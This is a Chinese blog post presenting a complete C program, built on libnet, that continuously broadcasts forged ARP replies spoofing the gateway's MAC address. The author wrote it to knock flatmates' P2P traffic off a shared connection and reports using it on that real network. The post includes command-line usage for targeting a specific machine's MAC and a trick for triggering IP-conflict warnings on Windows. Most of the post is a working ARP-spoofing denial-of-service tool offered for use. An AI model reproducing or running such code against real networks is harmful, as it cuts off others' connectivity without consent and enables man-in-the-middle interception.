把本子的系统换成OpenSuse11.1后,发现与别人合用1M带宽几乎不能访问网络,
在多次声明限制P2P下载速度无果后,想到了以前使用P2P Killer的经验,决定自己写一个发送arp伪造应答包的程序。
P2P Killer中文名为P2P终结者,其原理是监听arp数据包,根据设定带宽,利用一定的时间间隔算法发送伪造的arp应答包。
由于arp属于链路层协议,如果利用原始套接字来做,估计半天时间完不成,所以搜索了一下,发现libnet是个比较成熟的网络库。libnet几乎涵盖了整个TCP/IP协议:
使用libnet来构造这么一个小应用,应该是小菜一碟。
下面是source codes:
/**//**
A APR reply package sender
@author heath(heath.luo@gmail.com)
@date Jan. 17, 2009
@version 0.01
*/
#include <stdio.h>
#include <libnet.h>
#ifndef HRD_ALEN
#define HRD_ALEN 6 ///< hardware address length
#endif
#ifndef PRO_ALEN
#define PRO_ALEN 4 ///< protocol address format
#endif
static u_char ucHdr_src[HRD_ALEN] = {0x11 , 0x22 , 0x33 , 0x44 , 0x55 , 0x66};
static u_char ucHdr_dst[HRD_ALEN] = {0xff , 0xff , 0xff , 0xff , 0xff , 0xff}; /**////< broadcasting by default
static u_char ucPro_src[PRO_ALEN] = {192 , 168 , 1 , 1};
static u_char ucPro_dst[PRO_ALEN] = {192 , 168 , 1 , 2};
void Usage();
void ParseParams(int argc , char** argv);
void TestParams();
void SendPackage();
int main(int argc , char** argv)
{
ParseParams(argc , argv);
TestParams();
SendPackage();
}
void Usage()
{
printf("-h : help\n-d : target hardware address(using \'-\' to seperate)\n-m : sender hardware address(using \'-\' to seperate)\n-i : sender ip address(using \'.\' to seperate)\n");
}
void ParseParams(int argc , char** argv)
{
int c;
u_char* cp;
int i;
u_char bError;
while((c = getopt(argc , argv , "hd:m:i:")) != -1)
{
switch(c)
{
case 'h':
Usage();
break;
case 'd':
bError = 0;
for(i = 1; i <= HRD_ALEN - 1; ++i)
{
if((cp = strrchr(optarg , '-')))
{
*cp++ = 0;
ucHdr_dst[HRD_ALEN - i] = (u_char)strtol(cp , NULL , 16);
}
else
bError = 1;
}
if(bError)
{
printf("Parameters Error!\n");
Usage();
exit(-1);
}
else
ucHdr_dst[0] = (u_char)strtol(optarg , NULL , 16);
break;
case 'm':
bError = 0;
for(i = 1; i <= HRD_ALEN - 1; ++i)
{
if((cp = strrchr(optarg , '-')))
{
*cp++ = 0;
ucHdr_src[HRD_ALEN - i] = (u_char)strtol(cp , NULL , 16);
}
else
bError = 1;
}
if(bError)
{
printf("Parameters Error!\n");
Usage();
exit(-1);
}
else
ucHdr_src[0] = (u_char)strtol(optarg , NULL , 16);
break;
case 'i':
bError = 0;
for(i = 1; i <= PRO_ALEN - 1; ++i)
{
if((cp = strrchr(optarg , '.')))
{
*cp++ = 0;
ucPro_src[PRO_ALEN - i] = (u_char)atoi(cp);
}
else
bError = 1;
}
if(bError)
{
printf("Parameters Error!\n");
Usage();
exit(-1);
}
else
ucPro_src[0] = (u_char)atoi(optarg);
break;
default:
Usage();
}
}
}
void TestParams()
{
printf("======Parameters======\n");
printf("ucHdr_src : %x , %x , %x , %x , %x , %x\n" , ucHdr_src[0] , ucHdr_src[1] , ucHdr_src[2] , ucHdr_src[3] ,ucHdr_src[4] , ucHdr_src[5]);
printf("ucHdr_dst : %x , %x , %x , %x , %x , %x\n" , ucHdr_dst[0] , ucHdr_dst[1] , ucHdr_dst[2] , ucHdr_dst[3] ,ucHdr_dst[4] , ucHdr_dst[5]);
printf("ucPro_src : %x , %x , %x , %x\n" , ucPro_src[0] , ucPro_src[1] , ucPro_src[2] , ucPro_src[3]);
printf("ucPro_dst : %x , %x , %x , %x\n" , ucPro_dst[0] , ucPro_dst[1] , ucPro_dst[2] , ucPro_dst[3]);
printf("======End=====\n");
}
void SendPackage()
{
libnet_t* pLibnet = NULL;
char strError[LIBNET_ERRBUF_SIZE];
libnet_ptag_t ptArp = 0;
libnet_ptag_t ptEth = 0;
pLibnet = libnet_init(LIBNET_LINK , "eth0" , strError);
if(!pLibnet)
{
printf("Libnet Error in libnet_init:%s\n" , strError);
exit(-1);
}
ptArp = libnet_build_arp(ARPHRD_ETHER , ETHERTYPE_IP ,
HRD_ALEN , PRO_ALEN ,
ARPOP_REPLY ,
ucHdr_src , ucPro_src ,
ucHdr_dst , ucPro_dst ,
NULL , 0 ,
pLibnet ,
ptArp);
if(ptArp < 0)
{
printf("Libnet Error in libnet_build_arp!\n");
exit(-1);
}
ptEth = libnet_build_ethernet(ucHdr_dst , ucHdr_src ,
ETHERTYPE_ARP , NULL , 0 , pLibnet , ptEth);
if(ptEth < 0)
{
printf("Libnet Error in libnet_build_ethernet!\n");
exit(-1);
}
while(1)
{
if(libnet_write(pLibnet) < 0)
{
printf("Libnet Error in libnet_write!\n");
exit(-1);
}
sleep(5);
}
libnet_destroy(pLibnet);
}
由于ARP处于link layer,所以目标协议地址(由ucPro_dst给出)是没用的。对于ARP数据包格式的详细说明,可以参考《TCP-IP详解卷1》第4章。
该程序缺省情况下是伪造网关(192.168.1.1)的MAC地址广播给网段内所有机器。如果想针对特定机器发送,可以通过-d来指定其MAC地址:
arphacker -d <目标机MAC地址> -m <欲伪造的arp应答发送方MAC地址> -i <欲伪造的arp应答发送方IP地址>
利用ping+arp命令获得对方的MAC地址后,每隔一定时间发送伪造网关的MAC地址,可使对方的大量P2P数据包找不到北,从而给自己留出带宽。
如果你希望给予对方提示,让其弹出“IP地址冲突”气球(windows平台有效),可以将-m后的参数改为一个与目标机不一样的MAC地址,而-i给出目标机的IP。
下图为在虚拟机上运行的截图:
NOTE: 本人开发此程序实属被逼无奈,在连打开网页、上QQ的基本权力被剥夺之后,决定拿起自己手中之剑,维护自己的权益。昨天晚上,使用了一下,可以上网了,这也算是写代码带来的乐趣吧。
参考文献:
[1] libnet.
http://www.packetfactory.net/libnet/